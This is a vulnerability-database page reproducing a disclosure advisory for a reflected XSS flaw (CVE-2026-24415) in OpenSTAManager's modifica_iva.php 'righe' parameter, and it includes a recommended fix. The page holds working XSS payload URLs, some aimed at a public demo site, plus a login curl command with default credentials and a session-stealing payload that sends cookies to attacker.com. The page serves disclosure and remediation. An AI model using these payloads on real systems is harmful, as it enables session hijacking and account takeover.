| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| CVE-2026-24415 | 3 Mar 202621:51 | â | attackerkb | |
| CVE-2026-24415 | 3 Mar 202615:33 | â | circl | |
| OpenSTAManager 表çŤčćŹćźć´ | 3 Mar 202600:00 | â | cnnvd | |
| CVE-2026-24415 | 3 Mar 202621:51 | â | cve | |
| CVE-2026-24415 OpenSTAManager affected by reflected XSS in modifica_iva.php via righe parameter | 3 Mar 202621:51 | â | cvelist | |
| EUVD-2026-9326 | 3 Mar 202621:51 | â | euvd | |
| Exploit for Cross-site Scripting in Devcode Openstamanager | 11 Apr 202619:15 | â | githubexploit | |
| OpenSTAManager Affected by XSS in modifica_iva.php via righe parameter | 3 Mar 202617:39 | â | github | |
| CVE-2026-24415 | 3 Mar 202622:16 | â | nvd | |
| CVE-2026-24415 OpenSTAManager affected by reflected XSS in modifica_iva.php via righe parameter | 3 Mar 202621:51 | â | osv |
# CVE-2026-24415: OpenSTAManager Affected by XSS in modifica_iva.php via righe parameter
## Overview
| Field | Details |
|---|---|
| **CVE ID** | [CVE-2026-24415](https://nvd.nist.gov/vuln/detail/CVE-2026-24415) |
| **Severity** | MEDIUM |
| **Advisory** | [View Advisory](https://github.com/devcode-it/openstamanager/security/advisories/GHSA-jfgp-g7x7-j25j) |
| **Discovered by** | [Lukasz Rybak](https://github.com/lukasz-rybak) |
## Affected Products
- **devcode-it/openstamanager** (versions: < 2.9.8)
## CWE Classification
- CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
## Details
### Summary
Multiple Reflected Cross-Site Scripting (XSS) vulnerabilities in OpenSTAManager v2.9.8 allow unauthenticated attackers to execute arbitrary JavaScript code in the context of other users' browsers through crafted URL parameters, potentially leading to session hijacking, credential theft, and unauthorized actions.
**Vulnerable Parameter:** `righe` (GET)
### Details
OpenSTAManager v2.9.8 contains multiple Reflected XSS vulnerabilities in invoice/order/contract modification modals. The application fails to properly sanitize user-supplied input from the `righe` GET parameter before reflecting it in HTML output.
**Vulnerable Code Location:**
File: `/modules/contratti/modals/modifica_iva.php` (Line 125)
```php
<input type="hidden" name="righe" value="<?php echo $_GET['righe']; ?>">
```
The `$_GET['righe']` parameter is directly echoed into the HTML `value` attribute without any sanitization using `htmlspecialchars()` or equivalent functions. This allows an attacker to break out of the attribute context and inject arbitrary HTML/JavaScript.
**All Affected Files:**
1. `/modules/contratti/modals/modifica_iva.php` - **Line 125, Line 167**
2. `/modules/preventivi/modals/modifica_iva.php` - **Line 125, Line 167**
3. `/modules/fatture/modals/modifica_iva.php` - **Line 121, Line 161**
4. `/modules/ddt/modals/modifica_iva.php` - **Line 125, Line 167**
5. `/modules/ordini/modals/modifica_iva.php` - **Line 125, Line 167**
6. `/modules/interventi/modals/modifica_iva.php` - **Line 125, Line 167**
### PoC
**Prerequisites:**
- Running instance of OpenSTAManager v2.9.8
- Valid admin credentials (username: admin, password: admin for test instance)
**Step 1: Login**
```bash
curl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
```
**Step 2: Trigger XSS**
Navigate to the following URL in a browser (or use curl with cookies):
```
http://localhost:8081/modules/contratti/modals/modifica_iva.php?righe="><script>alert(document.domain)</script>
```
**Tested URLs (All vulnerable):**
- `https://demo.osmbusiness.it/modules/contratti/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>`
- `https://demo.osmbusiness.it/modules/preventivi/modals/modifica_iva.php?righe=1"><script>alert(document.cookie)</script>`
- `https://demo.osmbusiness.it/modules/fatture/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>`
- `https://demo.osmbusiness.it/modules/ddt/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>`
- `https://demo.osmbusiness.it/modules/ordini/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>`
- `https://demo.osmbusiness.it/modules/interventi/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>`
**Expected Result:**
JavaScript alert popup displays showing the current session cookie, confirming code execution.
**HTML Output (verified on live instance):**
```html
<input type="hidden" name="righe" value=""><script>alert(document.cookie)</script>">
```
**Verification:**
<img width="1260" height="99" alt="image" src="https://github.com/user-attachments/assets/4e91a461-bae6-40fb-b7c3-b8bd1eb48473" />
<img width="2060" height="1180" alt="image" src="https://github.com/user-attachments/assets/6dbde967-0505-43d1-b455-adc91a4808c0" />
**Alternative Payloads:**
Session stealing: `"><script>fetch('https://attacker.com/?c='+document.cookie)</script>`
### Impact
**Affected Users:** All authenticated users with access to contracts, invoices, quotes, or orders modules.
**Attack Scenario:**
1. Attacker crafts malicious URL with XSS payload
2. Attacker sends URL to victim via email/chat/phishing
3. Victim (authenticated user) clicks the link
4. Malicious JavaScript executes in victim's browser context
5. Attacker can:
- Steal session cookies â Full account takeover
- Perform actions on behalf of victim (create/modify/delete records)
- Steal CSRF tokens and bypass CSRF protection
- Redirect to phishing page
- Inject keylogger to capture sensitive data
- Modify page content to trick user into revealing credentials
**Recommended Fix:**
```php
<input type="hidden" name="righe" value="<?php echo htmlspecialchars($_GET['righe'], ENT_QUOTES, 'UTF-8'); ?>">
```
Apply this fix to all affected files listed in Details section.
## References
- https://github.com/devcode-it/openstamanager/security/advisories/GHSA-jfgp-g7x7-j25j
- https://nvd.nist.gov/vuln/detail/CVE-2026-24415
- https://github.com/advisories/GHSA-jfgp-g7x7-j25j
## Disclaimer
This CVE was responsibly disclosed following coordinated vulnerability disclosure practices. The information provided here is for educational and defensive purposes only.Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation